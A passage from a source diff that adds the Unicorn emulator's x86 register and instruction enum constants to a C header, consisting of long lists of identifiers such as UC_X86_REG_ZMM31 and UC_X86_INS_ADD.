UC_X86_REG_EFLAGS, + UC_X86_REG_EIP, UC_X86_REG_EIZ, UC_X86_REG_ES, UC_X86_REG_ESI, UC_X86_REG_ESP, + UC_X86_REG_FPSW, UC_X86_REG_FS, UC_X86_REG_GS, UC_X86_REG_IP, UC_X86_REG_RAX, + UC_X86_REG_RBP, UC_X86_REG_RBX, UC_X86_REG_RCX, UC_X86_REG_RDI, UC_X86_REG_RDX, + UC_X86_REG_RIP, UC_X86_REG_RIZ, UC_X86_REG_RSI, UC_X86_REG_RSP, UC_X86_REG_SI, + UC_X86_REG_SIL, UC_X86_REG_SP, UC_X86_REG_SPL, UC_X86_REG_SS, UC_X86_REG_CR0, + UC_X86_REG_CR1, UC_X86_REG_CR2, UC_X86_REG_CR3, UC_X86_REG_CR4, UC_X86_REG_CR5, + UC_X86_REG_CR6, UC_X86_REG_CR7, UC_X86_REG_CR8, UC_X86_REG_CR9, UC_X86_REG_CR10, + UC_X86_REG_CR11, UC_X86_REG_CR12, UC_X86_REG_CR13, UC_X86_REG_CR14, UC_X86_REG_CR15, + UC_X86_REG_DR0, UC_X86_REG_DR1, UC_X86_REG_DR2, UC_X86_REG_DR3, UC_X86_REG_DR4, + UC_X86_REG_DR5, UC_X86_REG_DR6, UC_X86_REG_DR7, UC_X86_REG_DR8, UC_X86_REG_DR9, + UC_X86_REG_DR10, UC_X86_REG_DR11, UC_X86_REG_DR12, UC_X86_REG_DR13, UC_X86_REG_DR14, + UC_X86_REG_DR15, UC_X86_REG_FP0, UC_X86_REG_FP1, UC_X86_REG_FP2, UC_X86_REG_FP3, + UC_X86_REG_FP4, UC_X86_REG_FP5, UC_X86_REG_FP6, UC_X86_REG_FP7, + UC_X86_REG_K0, UC_X86_REG_K1, UC_X86_REG_K2, UC_X86_REG_K3, UC_X86_REG_K4, + UC_X86_REG_K5, UC_X86_REG_K6, UC_X86_REG_K7, UC_X86_REG_MM0, UC_X86_REG_MM1, + UC_X86_REG_MM2, UC_X86_REG_MM3, UC_X86_REG_MM4, UC_X86_REG_MM5, UC_X86_REG_MM6, + UC_X86_REG_MM7, UC_X86_REG_R8, UC_X86_REG_R9, UC_X86_REG_R10, UC_X86_REG_R11, + UC_X86_REG_R12, UC_X86_REG_R13, UC_X86_REG_R14, UC_X86_REG_R15, + UC_X86_REG_ST0, UC_X86_REG_ST1, UC_X86_REG_ST2, UC_X86_REG_ST3, + UC_X86_REG_ST4, UC_X86_REG_ST5, UC_X86_REG_ST6, UC_X86_REG_ST7, + UC_X86_REG_XMM0, UC_X86_REG_XMM1, UC_X86_REG_XMM2, UC_X86_REG_XMM3, UC_X86_REG_XMM4, + UC_X86_REG_XMM5, UC_X86_REG_XMM6, UC_X86_REG_XMM7, UC_X86_REG_XMM8, UC_X86_REG_XMM9, + UC_X86_REG_XMM10, UC_X86_REG_XMM11, UC_X86_REG_XMM12, UC_X86_REG_XMM13, UC_X86_REG_XMM14, + UC_X86_REG_XMM15, UC_X86_REG_XMM16, UC_X86_REG_XMM17, UC_X86_REG_XMM18, UC_X86_REG_XMM19, + UC_X86_REG_XMM20, UC_X86_REG_XMM21, UC_X86_REG_XMM22, UC_X86_REG_XMM23, UC_X86_REG_XMM24, + UC_X86_REG_XMM25, UC_X86_REG_XMM26, UC_X86_REG_XMM27, UC_X86_REG_XMM28, UC_X86_REG_XMM29, + UC_X86_REG_XMM30, UC_X86_REG_XMM31, UC_X86_REG_YMM0, UC_X86_REG_YMM1, UC_X86_REG_YMM2, + UC_X86_REG_YMM3, UC_X86_REG_YMM4, UC_X86_REG_YMM5, UC_X86_REG_YMM6, UC_X86_REG_YMM7, + UC_X86_REG_YMM8, UC_X86_REG_YMM9, UC_X86_REG_YMM10, UC_X86_REG_YMM11, UC_X86_REG_YMM12, + UC_X86_REG_YMM13, UC_X86_REG_YMM14, UC_X86_REG_YMM15, UC_X86_REG_YMM16, UC_X86_REG_YMM17, + UC_X86_REG_YMM18, UC_X86_REG_YMM19, UC_X86_REG_YMM20, UC_X86_REG_YMM21, UC_X86_REG_YMM22, + UC_X86_REG_YMM23, UC_X86_REG_YMM24, UC_X86_REG_YMM25, UC_X86_REG_YMM26, UC_X86_REG_YMM27, + UC_X86_REG_YMM28, UC_X86_REG_YMM29, UC_X86_REG_YMM30, UC_X86_REG_YMM31, UC_X86_REG_ZMM0, + UC_X86_REG_ZMM1, UC_X86_REG_ZMM2, UC_X86_REG_ZMM3, UC_X86_REG_ZMM4, UC_X86_REG_ZMM5, + UC_X86_REG_ZMM6, UC_X86_REG_ZMM7, UC_X86_REG_ZMM8, UC_X86_REG_ZMM9, UC_X86_REG_ZMM10, + UC_X86_REG_ZMM11, UC_X86_REG_ZMM12, UC_X86_REG_ZMM13, UC_X86_REG_ZMM14, UC_X86_REG_ZMM15, + UC_X86_REG_ZMM16, UC_X86_REG_ZMM17, UC_X86_REG_ZMM18, UC_X86_REG_ZMM19, UC_X86_REG_ZMM20, + UC_X86_REG_ZMM21, UC_X86_REG_ZMM22, UC_X86_REG_ZMM23, UC_X86_REG_ZMM24, UC_X86_REG_ZMM25, + UC_X86_REG_ZMM26, UC_X86_REG_ZMM27, UC_X86_REG_ZMM28, UC_X86_REG_ZMM29, UC_X86_REG_ZMM30, + UC_X86_REG_ZMM31, UC_X86_REG_R8B, UC_X86_REG_R9B, UC_X86_REG_R10B, UC_X86_REG_R11B, + UC_X86_REG_R12B, UC_X86_REG_R13B, UC_X86_REG_R14B, UC_X86_REG_R15B, UC_X86_REG_R8D, + UC_X86_REG_R9D, UC_X86_REG_R10D, UC_X86_REG_R11D, UC_X86_REG_R12D, UC_X86_REG_R13D, + UC_X86_REG_R14D, UC_X86_REG_R15D, UC_X86_REG_R8W, UC_X86_REG_R9W, UC_X86_REG_R10W, + UC_X86_REG_R11W, UC_X86_REG_R12W, UC_X86_REG_R13W, UC_X86_REG_R14W, UC_X86_REG_R15W, + UC_X86_REG_IDTR, UC_X86_REG_GDTR, UC_X86_REG_LDTR, UC_X86_REG_TR, UC_X86_REG_FPCW, + UC_X86_REG_FPTAG, + UC_X86_REG_MSR, // Model-Specific Register + + UC_X86_REG_ENDING // <-- mark the end of the list of registers +} uc_x86_reg; + +//> X86 instructions +typedef enum uc_x86_insn { + UC_X86_INS_INVALID = 0, + + UC_X86_INS_AAA, + UC_X86_INS_AAD, + UC_X86_INS_AAM, + UC_X86_INS_AAS, + UC_X86_INS_FABS, + UC_X86_INS_ADC, + UC_X86_INS_ADCX, + UC_X86_INS_ADD, + UC_X86_INS_ADDPD, + UC_X86_INS_ADDPS, + UC_X86_INS_ADDSD, + UC_X86_INS_ADDSS, + UC_X86_INS_ADDSUBPD, + UC_X86_INS_ADDSUBPS, + UC_X86_INS_FADD, + UC_X86_INS_FIADD, + UC_X86_INS_FADDP, + UC_X86_INS_ADOX, + UC_X86_INS_AESDECLAST, + UC_X86_INS_AESDEC, + UC_X86_INS_AESENCLAST, + UC_X86_INS_AESENC, + UC_X86_INS_AESIMC, + UC_X86_INS_AESKEYGENASSIST, + UC_X86_INS_AND, + UC_X86_INS_ANDN, + UC_X86_INS_ANDNPD, + UC_X86_INS_ANDNPS, + UC_X86_INS_ANDPD, + UC_X86_INS_ANDPS, + UC_X86_INS_ARPL, + UC_X86_INS_BEXTR, + UC_X86_INS_BLCFILL, + UC_X86_INS_BLCI, + UC_X86_INS_BLCIC, + UC_X86_INS_BLCMSK, + UC_X86_INS_BLCS, + UC_X86_INS_BLENDPD, + UC_X86_INS_BLENDPS, + UC_X86_INS_BLENDVPD, + UC_X86_INS_BLENDVPS, + UC_X86_INS_BLSFILL, + UC_X86_INS_BLSI, + UC_X86_INS_BLSIC, + UC_X86_INS_BLSMSK, + UC_X86_INS_BLSR, + UC_X86_INS_BOUND, + UC_X86_INS_BSF, + UC_X86_INS_BSR, + UC_X86_INS_BSWAP, + UC_X86_INS_BT, + UC_X86_INS_BTC, + UC_X86_INS_BTR, + UC_X86_INS_BTS, + UC_X86_INS_BZHI, + UC_X86_INS_CALL, + UC_X86_INS_CBW, + UC_X86_INS_CDQ, + UC_X86_INS_CDQE, + UC_X86_INS_FCHS, + UC_X86_INS_CLAC, + UC_X86_INS_CLC, + UC_X86_INS_CLD, + UC_X86_INS_CLFLUSH, + UC_X86_INS_CLFLUSHOPT, + UC_X86_INS_CLGI, + UC_X86_INS_CLI, + UC_X86_INS_CLTS, + UC_X86_INS_CLWB, + UC_X86_INS_CMC, + UC_X86_INS_CMOVA, + UC_X86_INS_CMOVAE, + UC_X86_INS_CMOVB, + UC_X86_INS_CMOVBE, + UC_X86_INS_FCMOVBE, + UC_X86_INS_FCMOVB, + UC_X86_INS_CMOVE, + UC_X86_INS_FCMOVE, + UC_X86_INS_CMOVG, + UC_X86_INS_CMOVGE, + UC_X86_INS_CMOVL, + UC_X86_INS_CMOVLE, + UC_X86_INS_FCMOVNBE, + UC_X86_INS_FCMOVNB, + UC_X86_INS_CMOVNE, + UC_X86_INS_FCMOVNE, + UC_X86_INS_CMOVNO, + UC_X86_INS_CMOVNP, + UC_X86_INS_FCMOVNU, + UC_X86_INS_CMOVNS, + UC_X86_INS_CMOVO, + UC_X86_INS_CMOVP, + UC_X86_INS_FCMOVU, + UC_X86_INS_CMOVS, + UC_X86_INS_CMP, + UC_X86_INS_CMPPD, + UC_X86_INS_CMPPS, + UC_X86_INS_CMPSB, + UC_X86_INS_CMPSD, + UC_X86_INS_CMPSQ, + UC_X86_INS_CMPSS, + UC_X86_INS_CMPSW, + UC_X86_INS_CMPXCHG16B, + UC_X86_INS_CMPXCHG, + UC_X86_INS_CMPXCHG8B, + UC_X86_INS_COMISD, + UC_X86_INS_COMISS, + UC_X86_INS_FCOMP, + UC_X86_INS_FCOMPI, + UC_X86_INS_FCOMI, + UC_X86_INS_FCOM, + UC_X86_INS_FCOS, + UC_X86_INS_CPUID, + UC_X86_INS_CQO, + UC_X86_INS_CRC32, + UC_X86_INS_CVTDQ2PD, + UC_X86_INS_CVTDQ2PS, + UC_X86_INS_CVTPD2DQ, + UC_X86_INS_CVTPD2PS, + UC_X86_INS_CVTPS2DQ, + UC_X86_INS_CVTPS2PD, + UC_X86_INS_CVTSD2SI, + UC_X86_INS_CVTSD2SS, + UC_X86_INS_CVTSI2SD, + UC_X86_INS_CVTSI2SS, + UC_X86_INS_CVTSS2SD, + UC_X86_INS_CVTSS2SI, + UC_X86_INS_CVTTPD2DQ, + UC_X86_INS_CVTTPS2DQ, + UC_X86_INS_CVTTSD2SI, + UC_X86_INS_CVTTSS2SI, + UC_X86_INS_CWD, + UC_X86_INS_CWDE, + UC_X86_INS_DAA, + UC_X86_INS_DAS, + UC_X86_INS_DATA16, + UC_X86_INS_DEC, + UC_X86_INS_DIV, + UC_X86_INS_DIVPD, + UC_X86_INS_DIVPS, + UC_X86_INS_FDIVR, + UC_X86_INS_FIDIVR, + UC_X86_INS_FDIVRP, + UC_X86_INS_DIVSD, + UC_X86_INS_DIVSS, + UC_X86_INS_FDIV, + UC_X86_INS_FIDIV, + UC_X86_INS_FDIVP, + UC_X86_INS_DPPD, + UC_X86_INS_DPPS, + UC_X86_INS_RET, + UC_X86_INS_ENCLS, + UC_X86_INS_ENCLU, + UC_X86_INS_ENTER, + UC_X86_INS_EXTRACTPS, + UC_X86_INS_EXTRQ, + UC_X86_INS_F2XM1, + UC_X86_INS_LCALL, + UC_X86_INS_LJMP, + UC_X86_INS_FBLD, + UC_X86_INS_FBSTP, + UC_X86_INS_FCOMPP, + UC_X86_INS_FDECSTP, + UC_X86_INS_FEMMS, + UC_X86_INS_FFREE, + UC_X86_INS_FICOM, + UC_X86_INS_FICOMP, + UC_X86_INS_FINCSTP, + UC_X86_INS_FLDCW, + UC_X86_INS_FLDENV, + UC_X86_INS_FLDL2E, + UC_X86_INS_FLDL2T, + UC_X86_INS_FLDLG2, + UC_X86_INS_FLDLN2, + UC_X86_INS_FLDPI, + UC_X86_INS_FNCLEX, + UC_X86_INS_FNINIT, + UC_X86_INS_FNOP, + UC_X86_INS_FNSTCW, + UC_X86_INS_FNSTSW, + UC_X86_INS_FPATAN, + UC_X86_INS_FPREM, + UC_X86_INS_FPREM1, + UC_X86_INS_FPTAN, + UC_X86_INS_FFREEP, + UC_X86_INS_FRNDINT, + UC_X86_INS_FRSTOR, + UC_X86_INS_FNSAVE, + UC_X86_INS_FSCALE, + UC_X86_INS_FSETPM, + UC_X86_INS_FSINCOS, + UC_X86_INS_FNSTENV, + UC_X86_INS_FXAM, + UC_X86_INS_FXRSTOR, + UC_X86_INS_FXRSTOR64, + UC_X86_INS_FXSAVE, + UC_X86_INS_FXSAVE64, + UC_X86_INS_FXTRACT, + UC_X86_INS_FYL2X, + UC_X86_INS_FYL2XP1, + UC_X86_INS_MOVAPD, + UC_X86_INS_MOVAPS, + UC_X86_INS_ORPD, + UC_X86_INS_ORPS, + UC_X86_INS_VMOVAPD, + UC_X86_INS_VMOVAPS, + UC_X86_INS_XORPD, + UC_X86_INS_XORPS, + UC_X86_INS_GETSEC, + UC_X86_INS_HADDPD, + UC_X86_INS_HADDPS, + UC_X86_INS_HLT, + UC_X86_INS_HSUBPD, + UC_X86_INS_HSUBPS, + UC_X86_INS_IDIV, + UC_X86_INS_FILD, + UC_X86_INS_IMUL, + UC_X86_INS_IN, + UC_X86_INS_INC, + UC_X86_INS_INSB, + UC_X86_INS_INSERTPS, + UC_X86_INS_INSERTQ, + UC_X86_INS_INSD, + UC_X86_INS_INSW, + UC_X86_INS_INT, + UC_X86_INS_INT1, + UC_X86_INS_INT3, + UC_X86_INS_INTO, + UC_X86_INS_INVD, + UC_X86_INS_INVEPT, + UC_X86_INS_INVLPG, + UC_X86_INS_INVLPGA, + UC_X86_INS_INVPCID, + UC_X86_INS_INVVPID, + UC_X86_INS_IRET, + UC_X86_INS_IRETD, + UC_X86_INS_IRETQ, + UC_X86_INS_FISTTP, + UC_X86_INS_FIST, + UC_X86_INS_FISTP, + UC_X86_INS_UCOMISD, + UC_X86_INS_UCOMISS, + UC_X86_INS_VCOMISD, + UC_X86_INS_VCOMISS, + UC_X86_INS_VCVTSD2SS, + UC_X86_INS_VCVTSI2SD, + UC_X86_INS_VCVTSI2SS, + UC_X86_INS_VCVTSS2SD, + UC_X86_INS_VCVTTSD2SI, + UC_X86_INS_VCVTTSD2USI, + UC_X86_INS_VCVTTSS2SI, + UC_X86_INS_VCVTTSS2USI, + UC_X86_INS_VCVTUSI2SD, + UC_X86_INS_VCVTUSI2SS, + UC_X86_INS_VUCOMISD, + UC_X86_INS_VUCOMISS, + UC_X86_INS_JAE, + UC_X86_INS_JA, + UC_X86_INS_JBE, + UC_X86_INS_JB, + UC_X86_INS_JCXZ, + UC_X86_INS_JECXZ, + UC_X86_INS_JE, + UC_X86_INS_JGE, + UC_X86_INS_JG, + UC_X86_INS_JLE, + UC_X86_INS_JL, + UC_X86_INS_JMP, + UC_X86_INS_JNE, + UC_X86_INS_JNO, + UC_X86_INS_JNP, + UC_X86_INS_JNS, + UC_X86_INS_JO, + UC_X86_INS_JP, + UC_X86_INS_JRCXZ, + UC_X86_INS_JS, + UC_X86_INS_KANDB, + UC_X86_INS_KANDD, + UC_X86_INS_KANDNB, + UC_X86_INS_KANDND, + UC_X86_INS_KANDNQ, + UC_X86_INS_KANDNW, + UC_X86_INS_KANDQ, + UC_X86_INS_KANDW, + UC_X86_INS_KMOVB, + UC_X86_INS_KMOVD, + UC_X86_INS_KMOVQ, + UC_X86_INS_KMOVW, + UC_X86_INS_KNOTB, + UC_X86_INS_KNOTD, + UC_X86_INS_KNOTQ, + UC_X86_INS_KNOTW, + UC_X86_INS_KORB, + UC_X86_INS_KORD, + UC_X86_INS_KORQ, + UC_X86_INS_KORTESTB, + UC_X86_INS_KORTESTD, + UC_X86_INS_KORTESTQ, + UC_X86_INS_KORTESTW, + UC_X86_INS_KORW, + UC_X86_INS_KSHIFTLB, + UC_X86_INS_KSHIFTLD, + UC_X86_INS_KSHIFTLQ, + UC_X86_INS_KSHIFTLW, + UC_X86_INS_KSHIFTRB, + UC_X86_INS_KSHIFTRD, + UC_X86_INS_KSHIFTRQ, + UC_X86_INS_KSHIFTRW, + UC_X86_INS_KUNPCKBW, + UC_X86_INS_KXNORB, + UC_X86_INS_KXNORD, + UC_X86_INS_KXNORQ, + UC_X86_INS_KXNORW, + UC_X86_INS_KXORB, + UC_X86_INS_KXORD, + UC_X86_INS_KXORQ, + UC_X86_INS_KXORW, + UC_X86_INS_LAHF, + UC_X86_INS_LAR, + UC_X86_INS_LDDQU, + UC_X86_INS_LDMXCSR, + UC_X86_INS_LDS, + UC_X86_INS_FLDZ, + UC_X86_INS_FLD1, + UC_X86_INS_FLD, + UC_X86_INS_LEA, + UC_X86_INS_LEAVE, + UC_X86_INS_LES, + UC_X86_INS_LFENCE, + UC_X86_INS_LFS, + UC_X86_INS_LGDT, + UC_X86_INS_LGS, + UC_X86_INS_LIDT, + UC_X86_INS_LLDT, + UC_X86_INS_LMSW, + UC_X86_INS_OR, + UC_X86_INS_SUB, + UC_X86_INS_XOR, + UC_X86_INS_LODSB, + UC_X86_INS_LODSD, + UC_X86_INS_LODSQ, + UC_X86_INS_LODSW, + UC_X86_INS_LOOP, + UC_X86_INS_LOOPE, + UC_X86_INS_LOOPNE, + UC_X86_INS_RETF, + UC_X86_INS_RETFQ, + UC_X86_INS_LSL, + UC_X86_INS_LSS, + UC_X86_INS_LTR, + UC_X86_INS_XADD, + UC_X86_INS_LZCNT, + UC_X86_INS_MASKMOVDQU, + UC_X86_INS_MAXPD, + UC_X86_INS_MAXPS, + UC_X86_INS_MAXSD, + UC_X86_INS_MAXSS, + UC_X86_INS_MFENCE, + UC_X86_INS_MINPD, + UC_X86_INS_MINPS, + UC_X86_INS_MINSD, + UC_X86_INS_MINSS, + UC_X86_INS_CVTPD2PI, + UC_X86_INS_CVTPI2PD, + UC_X86_INS_CVTPI2PS, + UC_X86_INS_CVTPS2PI, + UC_X86_INS_CVTTPD2PI, + UC_X86_INS_CVTTPS2PI, + UC_X86_INS_EMMS, + UC_X86_INS_MASKMOVQ, + UC_X86_INS_MOVD, + UC_X86_INS_MOVDQ2Q, + UC_X86_INS_MOVNTQ, + UC_X86_INS_MOVQ2DQ, + UC_X86_INS_MOVQ, + UC_X86_INS_PABSB, + UC_X86_INS_PABSD, + UC_X86_INS_PABSW, + UC_X86_INS_PACKSSDW, + UC_X86_INS_PACKSSWB, + UC_X86_INS_PACKUSWB, + UC_X86_INS_PADDB, + UC_X86_INS_PADDD, + UC_X86_INS_PADDQ, + UC_X86_INS_PADDSB, + UC_X86_INS_PADDSW, + UC_X86_INS_PADDUSB, + UC_X86_INS_PADDUSW, + UC_X86_INS_PADDW, + UC_X86_INS_PALIGNR, + UC_X86_INS_PANDN, + UC_X86_INS_PAND, + UC_X86_INS_PAVGB, + UC_X86_INS_PAVGW, + UC_X86_INS_PCMPEQB, + UC_X86_INS_PCMPEQD, + UC_X86_INS_PCMPEQW, + UC_X86_INS_PCMPGTB, + UC_X86_INS_PCMPGTD, + UC_X86_INS_PCMPGTW, + UC_X86_INS_PEXTRW, + UC_X86_INS_PHADDSW, + UC_X86_INS_PHADDW, + UC_X86_INS_PHADDD, + UC_X86_INS_PHSUBD, + UC_X86_INS_PHSUBSW, + UC_X86_INS_PHSUBW, + UC_X86_INS_PINSRW, + UC_X86_INS_PMADDUBSW, + UC_X86_INS_PMADDWD, + UC_X86_INS_PMAXSW, + UC_X86_INS_PMAXUB, + UC_X86_INS_PMINSW, + UC_X86_INS_PMINUB, + UC_X86_INS_PMOVMSKB, + UC_X86_INS_PMULHRSW, + UC_X86_INS_PMULHUW, + UC_X86_INS_PMULHW, + UC_X86_INS_PMULLW, + UC_X86_INS_PMULUDQ, + UC_X86_INS_POR, + UC_X86_INS_PSADBW, + UC_X86_INS_PSHUFB, + UC_X86_INS_PSHUFW, + UC_X86_INS_PSIGNB, + UC_X86_INS_PSIGND, + UC_X86_INS_PSIGNW, + UC_X86_INS_PSLLD, + UC_X86_INS_PSLLQ, + UC_X86_INS_PSLLW, + UC_X86_INS_PSRAD, + UC_X86_INS_PSRAW, + UC_X86_INS_PSRLD, + UC_X86_INS_PSRLQ, + UC_X86_INS_PSRLW, + UC_X86_INS_PSUBB, + UC_X86_INS_PSUBD, + UC_X86_INS_PSUBQ, + UC_X86_INS_PSUBSB, + UC_X86_INS_PSUBSW, + UC_X86_INS_PSUBUSB, + UC_X86_INS_PSUBUSW, + UC_X86_INS_PSUBW, + UC_X86_INS_PUNPCKHBW, + UC_X86_INS_PUNPCKHDQ, + UC_X86_INS_PUNPCKHWD, + UC_X86_INS_PUNPCKLBW, + UC_X86_INS_PUNPCKLDQ, + UC_X86_INS_PUNPCKLWD, + UC_X86_INS_PXOR, + UC_X86_INS_MONITOR, + UC_X86_INS_MONTMUL, + UC_X86_INS_MOV, + UC_X86_INS_MOVABS, + UC_X86_INS_MOVBE, + UC_X86_INS_MOVDDUP, + UC_X86_INS_MOVDQA, + UC_X86_INS_MOVDQU, + UC_X86_INS_MOVHLPS, + UC_X86_INS_MOVHPD, + UC_X86_INS_MOVHPS, + UC_X86_INS_MOVLHPS, + UC_X86_INS_MOVLPD, + UC_X86_INS_MOVLPS, + UC_X86_INS_MOVMSKPD, + UC_X86_INS_MOVMSKPS, + UC_X86_INS_MOVNTDQA, + UC_X86_INS_MOVNTDQ, + UC_X86_INS_MOVNTI, + UC_X86_INS_MOVNTPD, + UC_X86_INS_MOVNTPS, + UC_X86_INS_MOVNTSD, + UC_X86_INS_MOVNTSS, + UC_X86_INS_MOVSB, + UC_X86_INS_MOVSD, + UC_X86_INS_MOVSHDUP, + UC_X86_INS_MOVSLDUP, + UC_X86_INS_MOVSQ, + UC_X86_INS_MOVSS, + UC_X86_INS_MOVSW, + UC_X86_INS_MOVSX, + UC_X86_INS_MOVSXD, + UC_X86_INS_MOVUPD, + UC_X86_INS_MOVUPS, + UC_X86_INS_MOVZX, + UC_X86_INS_MPSADBW, + UC_X86_INS_MUL, + UC_X86_INS_MULPD, + UC_X86_INS_MULPS, + UC_X86_INS_MULSD, + UC_X86_INS_MULSS, + UC_X86_INS_MULX, + UC_X86_INS_FMUL, + UC_X86_INS_FIMUL, + UC_X86_INS_FMULP, + UC_X86_INS_MWAIT, + UC_X86_INS_NEG, + UC_X86_INS_NOP, + UC_X86_INS_NOT, + UC_X86_INS_OUT, + UC_X86_INS_OUTSB, + UC_X86_INS_OUTSD, + UC_X86_INS_OUTSW, + UC_X86_INS_PACKUSDW, + UC_X86_INS_PAUSE, + UC_X86_INS_PAVGUSB, + UC_X86_INS_PBLENDVB, + UC_X86_INS_PBLENDW, + UC_X86_INS_PCLMULQDQ, + UC_X86_INS_PCMPEQQ, + UC_X86_INS_PCMPESTRI, + UC_X86_INS_PCMPESTRM, + UC_X86_INS_PCMPGTQ, + UC_X86_INS_PCMPISTRI, + UC_X86_INS_PCMPISTRM, + UC_X86_INS_PCOMMIT, + UC_X86_INS_PDEP, + UC_X86_INS_PEXT, + UC_X86_INS_PEXTRB, + UC_X86_INS_PEXTRD, + UC_X86_INS_PEXTRQ, + UC_X86_INS_PF2ID, + UC_X86_INS_PF2IW, + UC_X86_INS_PFACC, + UC_X86_INS_PFADD, + UC_X86_INS_PFCMPEQ, + UC_X86_INS_PFCMPGE, + UC_X86_INS_PFCMPGT, + UC_X86_INS_PFMAX, + UC_X86_INS_PFMIN, + UC_X86_INS_PFMUL, + UC_X86_INS_PFNACC, + UC_X86_INS_PFPNACC, + UC_X86_INS_PFRCPIT1, + UC_X86_INS_PFRCPIT2, + UC_X86_INS_PFRCP, + UC_X86_INS_PFRSQIT1, + UC_X86_INS_PFRSQRT, + UC_X86_INS_PFSUBR, + UC_X86_INS_PFSUB, + UC_X86_INS_PHMINPOSUW, + UC_X86_INS_PI2FD, + UC_X86_INS_PI2FW, + UC_X86_INS_PINSRB, + UC_X86_INS_PINSRD, + UC_X86_INS_PINSRQ, + UC_X86_INS_PMAXSB, + UC_X86_INS_PMAXSD, + UC_X86_INS_PMAXUD, + UC_X86_INS_PMAXUW, + UC_X86_INS_PMINSB, + UC_X86_INS_PMINSD, + UC_X86_INS_PMINUD, + UC_X86_INS_PMINUW, + UC_X86_INS_PMOVSXBD, + UC_X86_INS_PMOVSXBQ, + UC_X86_INS_PMOVSXBW, + UC_X86_INS_PMOVSXDQ, + UC_X86_INS_PMOVSXWD, + UC_X86_INS_PMOVSXWQ, + UC_X86_INS_PMOVZXBD, + UC_X86_INS_PMOVZXBQ, + UC_X86_INS_PMOVZXBW, + UC_X86_INS_PMOVZXDQ, + UC_X86_INS_PMOVZXWD, + UC_X86_INS_PMOVZXWQ, + UC_X86_INS_PMULDQ, + UC_X86_INS_PMULHRW, + UC_X86_INS_PMULLD, + UC_X86_INS_POP, + UC_X86_INS_POPAW, + UC_X86_INS_POPAL, + UC_X86_INS_POPCNT, + UC_X86_INS_POPF, + UC_X86_INS_POPFD, + UC_X86_INS_POPFQ, + UC_X86_INS_PREFETCH, + UC_X86_INS_PREFETCHNTA, + UC_X86_INS_PREFETCHT0, + UC_X86_INS_PREFETCHT1, + UC_X86_INS_PREFETCHT2, + UC_X86_INS_PREFETCHW, + UC_X86_INS_PSHUFD, + UC_X86_INS_PSHUFHW, + UC_X86_INS_PSHUFLW, + UC_X86_INS_PSLLDQ, + UC_X86_INS_PSRLDQ, + UC_X86_INS_PSWAPD, + UC_X86_INS_PTEST, + UC_X86_INS_PUNPCKHQDQ, + UC_X86_INS_PUNPCKLQDQ, + UC_X86_INS_PUSH, + UC_X86_INS_PUSHAW, + UC_X86_INS_PUSHAL, + UC_X86_INS_PUSHF, + UC_X86_INS_PUSHFD, + UC_X86_INS_PUSHFQ, + UC_X86_INS_RCL, + UC_X86_INS_RCPPS, + UC_X86_INS_RCPSS, + UC_X86_INS_RCR, + UC_X86_INS_RDFSBASE, + UC_X86_INS_RDGSBASE, + UC_X86_INS_RDMSR, + UC_X86_INS_RDPMC, + UC_X86_INS_RDRAND, + UC_X86_INS_RDSEED, + UC_X86_INS_RDTSC, + UC_X86_INS_RDTSCP, + UC_X86_INS_ROL, + UC_X86_INS_ROR, + UC_X86_INS_RORX, + UC_X86_INS_ROUNDPD, + UC_X86_INS_ROUNDPS, + UC_X86_INS_ROUNDSD, + UC_X86_INS_ROUNDSS, + UC_X86_INS_RSM, + UC_X86_INS_RSQRTPS, + UC_X86_INS_RSQRTSS, + UC_X86_INS_SAHF, + UC_X86_INS_SAL, + UC_X86_INS_SALC, + UC_X86_INS_SAR, + UC_X86_INS_SARX, + UC_X86_INS_SBB, + UC_X86_INS_SCASB, + UC_X86_INS_SCASD, + UC_X86_INS_SCASQ, + UC_X86_INS_SCASW, + UC_X86_INS_SETAE, + UC_X86_INS_SETA, + UC_X86_INS_SETBE, + UC_X86_INS_SETB, + UC_X86_INS_SETE, + UC_X86_INS_SETGE, + UC_X86_INS_SETG, + UC_X86_INS_SETLE, + UC_X86_INS_SETL, + UC_X86_INS_SETNE, + UC_X86_INS_SETNO, + UC_X86_INS_SETNP, + UC_X86_INS_SETNS, + UC_X86_INS_SETO, + UC_X86_INS_SETP, + UC_X86_INS_SETS, + UC_X86_INS_SFENCE, + UC_X86_INS_SGDT, + UC_X86_INS_SHA1MSG1, + UC_X86_INS_SHA1MSG2, + UC_X86_INS_SHA1NEXTE, + UC_X86_INS_SHA1RNDS4, + UC_X86_INS_SHA256MSG1, + UC_X86_INS_SHA256MSG2, + UC_X86_INS_SHA256RNDS2, + UC_X86_INS_SHL, + UC_X86_INS_SHLD, + UC_X86_INS_SHLX, + UC_X86_INS_SHR, + UC_X86_INS_SHRD, + UC_X86_INS_SHRX, + UC_X86_INS_SHUFPD, + UC_X86_INS_SHUFPS, + UC_X86_INS_SIDT, + UC_X86_INS_FSIN, + UC_X86_INS_SKINIT, + UC_X86_INS_SLDT, + UC_X86_INS_SMSW, + UC_X86_INS_SQRTPD, + UC_X86_INS_SQRTPS, + UC_X86_INS_SQRTSD, + UC_X86_INS_SQRTSS, + UC_X86_INS_FSQRT, + UC_X86_INS_STAC, + UC_X86_INS_STC, + UC_X86_INS_STD, + UC_X86_INS_STGI, + UC_X86_INS_STI, + UC_X86_INS_STMXCSR, + UC_X86_INS_STOSB, + UC_X86_INS_STOSD, + UC_X86_INS_STOSQ, + UC_X86_INS_STOSW, + UC_X86_INS_STR, + UC_X86_INS_FST, + UC_X86_INS_FSTP, + UC_X86_INS_FSTPNCE, + UC_X86_INS_FXCH, + UC_X86_INS_SUBPD, + UC_X86_INS_SUBPS, + UC_X86_INS_FSUBR, + UC_X86_INS_FISUBR, + UC_X86_INS_FSUBRP, + UC_X86_INS_SUBSD, + UC_X86_INS_SUBSS, + UC_X86_INS_FSUB, + UC_X86_INS_FISUB, + UC_X86_INS_FSUBP, + UC_X86_INS_SWAPGS, + UC_X86_INS_SYSCALL, + UC_X86_INS_SYSENTER, + UC_X86_INS_SYSEXIT, + UC_X86_INS_SYSRET, + UC_X86_INS_T1MSKC, + UC_X86_INS_TEST, + UC_X86_INS_UD2, + UC_X86_INS_FTST, + UC_X86_INS_TZCNT, + UC_X86_INS_TZMSK, + UC_X86_INS_FUCOMPI, + UC_X86_INS_FUCOMI, + UC_X86_INS_FUCOMPP, + UC_X86_INS_FUCOMP, + UC_X86_INS_FUCOM, + UC_X86_INS_UD2B, + UC_X86_INS_UNPCKHPD, + UC_X86_INS_UNPCKHPS, + UC_X86_INS_UNPCKLPD, + UC_X86_INS_UNPCKLPS, + UC_X86_INS_VADDPD, + UC_X86_INS_VADDPS, + UC_X86_INS_VADDSD, + UC_X86_INS_VADDSS, + 